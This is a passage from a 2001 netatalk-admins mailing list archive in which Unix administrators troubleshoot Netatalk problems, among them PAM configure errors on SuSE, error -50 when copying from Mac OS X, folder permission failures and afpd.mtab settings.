	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA14765
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 09:10:14 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000167807 for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 15:10:15 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a05101001b8464f231b93@[192.168.1.201]>
Date: Wed, 19 Dec 2001 15:10:11 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: netatalk 1.5rc1 on SuSE 7.1 PAM problems
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Hi,

does anyone here know how to get thru configure in netatalk-1.5rc1 / SuSE 7.1 intel?

I get:

checking for security/pam_appl.h... yes
checking for pam_set_item in -lpam... no
configure: error: PAM support missing

my pam version info is:

SuSE series: a
Name        : pam                          Relocations: (not relocateable)
Version     : 0.72                              Vendor: SuSE GmbH, Nuernberg, Germany
Release     : 169                           Build Date: Fri Jan 19 06:45:19 2001
Install date: Sat Oct 20 00:59:30 2001      Build Host: Jones.suse.de

æ?


If I configure without pam, I get thru, but I had problems configuring uams in the past without pam support on SuSE.


Thanx for your hints,


Lorenzo

From netatalk.administrators-errors@umich.edu  Wed Dec 19 10:58:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27054
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 10:58:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA03283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 10:58:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA03268
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 10:58:15 -0500 (EST)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA03182
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 10:58:12 -0500 (EST)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 19 Dec 2001 15:58:19 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v5.0.4.R)
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 16:57:58 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 19 Dec 2001 16:57:23 +0100
Subject: Re: netatalk 1.5rc1 on SuSE 7.1 PAM problems
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
CC: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Message-ID: <B8467772.2D331%ts@visual-s.de>
In-Reply-To: <a05101001b8464f231b93@[192.168.1.201]>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA27054

I'm not near a Linux box right now -- I believe you need to install the
PAM-devel package as well.

-Thomas

On 2001-12-19 15:10 +0100, Lorenzo Perone
<lopez.on.the.lists@yellowspace.net> wrote:

> does anyone here know how to get thru configure in netatalk-1.5rc1 / SuSE 7.1
> intel?
> 
> I get:
> 
> checking for security/pam_appl.h... yes
> checking for pam_set_item in -lpam... no
> configure: error: PAM support missing
> 
> my pam version info is:
> 
> SuSE series: a
> Name        : pam                          Relocations: (not relocateable)
> Version     : 0.72                              Vendor: SuSE GmbH, Nuernberg,
> Germany
> Release     : 169                           Build Date: Fri Jan 19 06:45:19
> 2001
> Install date: Sat Oct 20 00:59:30 2001      Build Host: Jones.suse.de
> 
> æ?
> 
> 
> If I configure without pam, I get thru, but I had problems configuring uams in
> the past without pam support on SuSE.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Wed Dec 19 12:27:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA01917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 12:27:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA20924
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 12:27:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA20910
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 12:27:28 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA20882
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 12:27:27 -0500 (EST)
Received: from white-mountain.org (localhost.localdomain [127.0.0.1])
	by hermit.white-mountain.org (Postfix) with ESMTP
	id DF6794437; Wed, 19 Dec 2001 09:27:24 -0800 (PST)
Message-ID: <3C20CD9E.CAF3DF7B@white-mountain.org>
Date: Wed, 19 Dec 2001 09:25:50 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Tueck <colin@tueck.de>
Cc: netatalk-admins@umich.edu
Subject: Re: Rag Time to text/plain
References: <20011219143959.A1667@hasi.coffee.ac>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

If you're doing it on the Unix side, try "strings foo" to get the strings
out of a file called foo. I've never heard of RagTime but unless it
encodes its text in some wierd way, this will probably work.

Colin Tueck wrote:

> Hello out there,
>
> does anyone know about a solution for getting just the plain text out
> of a Rag Time document? (HTML would of course also be okay.)
> This would be very helpful for my file indexer. Unfortunately, RagTime
> uses a binary format to save its files. :-(
>
> Bye,
> Colin
> --
> | Colin Tück            | Lothringerstr. 101 | Benzstr. 1       |
> | Handy:   0173/9896010 | 52070 Aachen       | 47574 Goch       |
> | Mail:  colin@tueck.de | Fon: 0241/4003872  | Fon: 02823/95305 |


From netatalk.administrators-errors@umich.edu  Wed Dec 19 13:28:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA04428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 13:28:47 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA24366
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 13:28:47 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA24356
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 13:28:46 -0500 (EST)
Received: from press.uchicago.edu (press.uchicago.edu [128.135.204.191])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA24336
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 13:28:45 -0500 (EST)
Received: from press-rcb.uchicago.edu ([128.135.204.188]:31377 "HELO there")
	by press.uchicago.edu with SMTP id <S5539AbRLSS22>;
	Wed, 19 Dec 2001 12:28:28 -0600
Content-Type: 	text/plain; charset=US-ASCII
From: Roy Bixler <rcb@press.uchicago.edu>
Organization: The University of Chicago Press
To: netatalk-admins@umich.edu
Subject: Error -50 copying from OS X
Date:   Wed, 19 Dec 2001 12:29:06 -0600
X-Mailer: KMail [version 1.3.2]
MIME-Version: 1.0
Content-Transfer-Encoding: 7BIT
Message-Id: <20011219182841Z5539-238+4564@press.uchicago.edu>

Hi:

I just set up a Netatalk server for about 10 Mac clients, mostly running OS 9 
at this point.  It seems to work just fine for those.  However, when copying 
a directory from an OS X system, it reproducably bombs with an error -50 
message.  For comparison, I booted into OS 9 and the same directory that 
fails with OS X copies OK with OS 9.

The server is running Linux 2.4.16 and netatalk 1.5-pre8.  I have made the 
upgrade to netatalk 1.5-rc1, but it made no difference.  The OS X clients are 
running version 10.1.1.  Are the -50 errors with OS X known problems?  Any 
suggestions?

By the way, for what it's worth, I tried the directory copy with the Fetch 
FTP client and the results were analogous -- it works with OS 9 but fails 
with OS X.

Thanks,

-- 
Roy Bixler <rcb@press.uchicago.edu>
The University of Chicago Press
http://www.press.uchicago.edu

From netatalk.administrators-errors@umich.edu  Wed Dec 19 13:51:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA05288
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 13:51:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA18865
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 13:51:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA18847
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 13:51:42 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA18816
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 13:51:41 -0500 (EST)
Received: (qmail 21867 invoked by alias); 19 Dec 2001 18:50:34 -0000
Received: (qmail 21855 invoked from network); 19 Dec 2001 18:50:34 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 19 Dec 2001 18:50:34 -0000
Subject: Re: Error -50 copying from OS X
From: Matthew Keller <kellermg@potsdam.edu>
To: Roy Bixler <rcb@press.uchicago.edu>
Cc: netatalk-admins@umich.edu
In-Reply-To: <20011219182841Z5539-238+4564@press.uchicago.edu>
References: <20011219182841Z5539-238+4564@press.uchicago.edu>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 19 Dec 2001 13:52:00 -0500
Message-Id: <1008787920.21041.37.camel@comp10574>
Mime-Version: 1.0


	FTP has no intermingling whatsoever w/ Netatalk. They are different
protocols altogether. Perhaps I'm missing something?

On Wed, 2001-12-19 at 13:29, Roy Bixler wrote:
> Hi:
> 
> I just set up a Netatalk server for about 10 Mac clients, mostly running OS 9 
> at this point.  It seems to work just fine for those.  However, when copying 
> a directory from an OS X system, it reproducably bombs with an error -50 
> message.  For comparison, I booted into OS 9 and the same directory that 
> fails with OS X copies OK with OS 9.
> 
> The server is running Linux 2.4.16 and netatalk 1.5-pre8.  I have made the 
> upgrade to netatalk 1.5-rc1, but it made no difference.  The OS X clients are 
> running version 10.1.1.  Are the -50 errors with OS X known problems?  Any 
> suggestions?
> 
> By the way, for what it's worth, I tried the directory copy with the Fetch 
> FTP client and the results were analogous -- it works with OS 9 but fails 
> with OS X.
> 
> Thanks,
> 
> -- 
> Roy Bixler <rcb@press.uchicago.edu>
> The University of Chicago Press
> http://www.press.uchicago.edu
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Dec 19 14:53:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08530
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 14:53:01 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA10914
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 14:53:01 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA10898
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 14:53:00 -0500 (EST)
Received: from Mail6.Carolina.rr.com (fe6.southeast.rr.com [24.93.67.53])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA10865
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 14:52:59 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by Mail6.Carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Wed, 19 Dec 2001 14:52:58 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b8469f295620@[192.168.110.21]>
In-Reply-To: <20011219182841Z5539-238+4564@press.uchicago.edu>
References: <20011219182841Z5539-238+4564@press.uchicago.edu>
Date: Wed, 19 Dec 2001 14:52:56 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Error -50 copying from OS X
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Hi:
>
>I just set up a Netatalk server for about 10 Mac clients, mostly running OS 9
>at this point.  It seems to work just fine for those.  However, when copying
>a directory from an OS X system, it reproducably bombs with an error -50
>message.  For comparison, I booted into OS 9 and the same directory that
>fails with OS X copies OK with OS 9.


You are copying _from_ and OS X system to OS 9? or to Netatalk...? Or 
from Netatalk to OS 9...? or to OS X?

>
>The server is running Linux 2.4.16 and netatalk 1.5-pre8.  I have made the
>upgrade to netatalk 1.5-rc1, but it made no difference.  The OS X clients are
>running version 10.1.1.  Are the -50 errors with OS X known problems?  Any
>suggestions?
>
>By the way, for what it's worth, I tried the directory copy with the Fetch
>FTP client and the results were analogous -- it works with OS 9 but fails
>with OS X.
>
>Thanks,
>
>--
>Roy Bixler <rcb@press.uchicago.edu>
>The University of Chicago Press
>http://www.press.uchicago.edu


 From an OS X system?!? Are you mounting the netatalk volume in OS X? 
or are you somehow mounting the OS X share on the Linux/netatalk 
side...

So OS X "bombs"? I thought that would have been realtively improbable 
under either -- both being Unices and all...

OS X may have a newer or slightly different Appletalk protocol 
stack.. Who knows. Why don't you just do an NFS mount one to the 
other? Perhaps the OS X doesn't like the .AppleDouble!?!

Just thoughts....

-Wes Yates
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny

From netatalk.administrators-errors@umich.edu  Wed Dec 19 16:16:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA12540
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 16:16:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA02649
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 16:16:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA02638
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 16:16:24 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA02596
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 16:16:22 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <Y2MT5LC8>; Wed, 19 Dec 2001 16:10:22 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A28417D@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: file troubles
Date: Wed, 19 Dec 2001 16:10:21 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C188D1.918EC5C0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C188D1.918EC5C0
Content-Type: text/plain;
	charset="iso-8859-1"

OK, 
 
When a user pastes a whole folder with files in it to the server they get an
error message that they do not have permissions to open the file.  If the
copy just folder it works and if the copy just the files from the folder
that also works.  But not all at once.
 
Also I can't seem to get quark files to open, I have seen articles about it
before but can not find them now.
 
Suggestions would be great,
 
Brian

------_=_NextPart_001_01C188D1.918EC5C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C188A8.67D462E0">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>OK, <o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>When a user pastes a whole folder with files in it =
to the
server they get an error message that they do not have permissions to =
open the
file.<span style=3D'mso-spacerun:yes'>=A0 </span>If the copy just =
folder it works
and if the copy just the files from the folder that also works.<span
style=3D'mso-spacerun:yes'>=A0 </span><span class=3DGramE>But not all =
at once.</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Also I can't seem to get quark files to <span
class=3DGramE>open,</span> I have seen articles about it before but can =
not find
them now.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Suggestions would be =
great,<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Brian<o:p></o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C188D1.918EC5C0--

From netatalk.administrators-errors@umich.edu  Wed Dec 19 16:42:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13435
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 16:42:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA00652
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 16:42:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA00635
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 16:42:26 -0500 (EST)
Received: from mail8.carolina.rr.com (fe8.southeast.rr.com [24.93.67.55])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA00604
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 16:42:25 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail8.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Wed, 19 Dec 2001 16:42:24 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b846ba1fad54@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A28417D@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A28417D@ksvcmail.ksvc.com>
Date: Wed, 19 Dec 2001 16:42:23 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: file troubles
Content-Type: multipart/alternative; boundary="============_-1203324352==_ma============"

--============_-1203324352==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>OK,
>
>
>
>When a user pastes a whole folder with files in it to the server 
>they get an error message that they do not have

Pastes?

>permissions to open the file.  If the copy just folder it works and 
>if the copy just the files from the folder that also works.  But not 
>all at once.
>
>
>
>Brian

-Wes Yates
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny
--============_-1203324352==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: file troubles</title></head><body>
<blockquote type="cite" cite><font face="Arial"
size="-1">OK,</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">&nbsp;</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">When a user
pastes a whole folder with files in it to the server they get an error
message that they do not have</font></blockquote>
<div><br>
Pastes?<br>
</div>
<blockquote type="cite" cite><font face="Arial" size="-1">permissions
to open the file.&nbsp; If the copy just folder it works and if the
copy just the files from the folder that also works.&nbsp; But not all
at once.</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">&nbsp;</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">Brian</font></blockquote>
<div><br></div>
<div>-Wes Yates</div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
&quot;Of course, you realize this means war.&quot;<br>
-B. Bunny</div>
</body>
</html>
--============_-1203324352==_ma============--

From netatalk.administrators-errors@umich.edu  Wed Dec 19 16:49:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13756
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 16:49:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA10619
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 16:49:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA10610
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 16:49:23 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA10472
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 16:49:21 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000167864 for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 22:49:18 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101000b846a405069c@[192.168.1.201]>
Date: Wed, 19 Dec 2001 22:49:14 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: afpd.mtab
Content-Type: text/plain; charset="us-ascii"

some mtab questions.... anyone here knows the answer? 
(would be nice to have a README.didscheme, anyway, which could give an overview of advantages/disadvantages of a certain scheme...)

1) what's the difference between mtab and old?
2)  what happens when netatalk is configured --with-did=mtab
but no afpd.mtab file exists?  BTW, is the default config directory inherited by the mtab-part of the code (so now it should be /usr/local/etc/netatalk/afpd.mtab)?

Thanx,

:-)

Lorenzo

From netatalk.administrators-errors@umich.edu  Wed Dec 19 17:20:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA14945
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 17:20:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06157
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 17:20:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA06130
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 17:20:56 -0500 (EST)
Received: from press.uchicago.edu (press.uchicago.edu [128.135.204.191])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA06090
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 17:20:55 -0500 (EST)
Received: from press-rcb.uchicago.edu ([128.135.204.188]:45457 "HELO there")
	by press.uchicago.edu with SMTP id <S5991AbRLSWUa>;
	Wed, 19 Dec 2001 16:20:30 -0600
Content-Type: 	text/plain; charset=US-ASCII
From: Roy Bixler <rcb@press.uchicago.edu>
Organization: The University of Chicago Press
To: Wes Yates <gmac63@carolina.rr.com>, netatalk-admins@umich.edu
Subject: Re: Error -50 copying from OS X
Date:   Wed, 19 Dec 2001 16:21:08 -0600
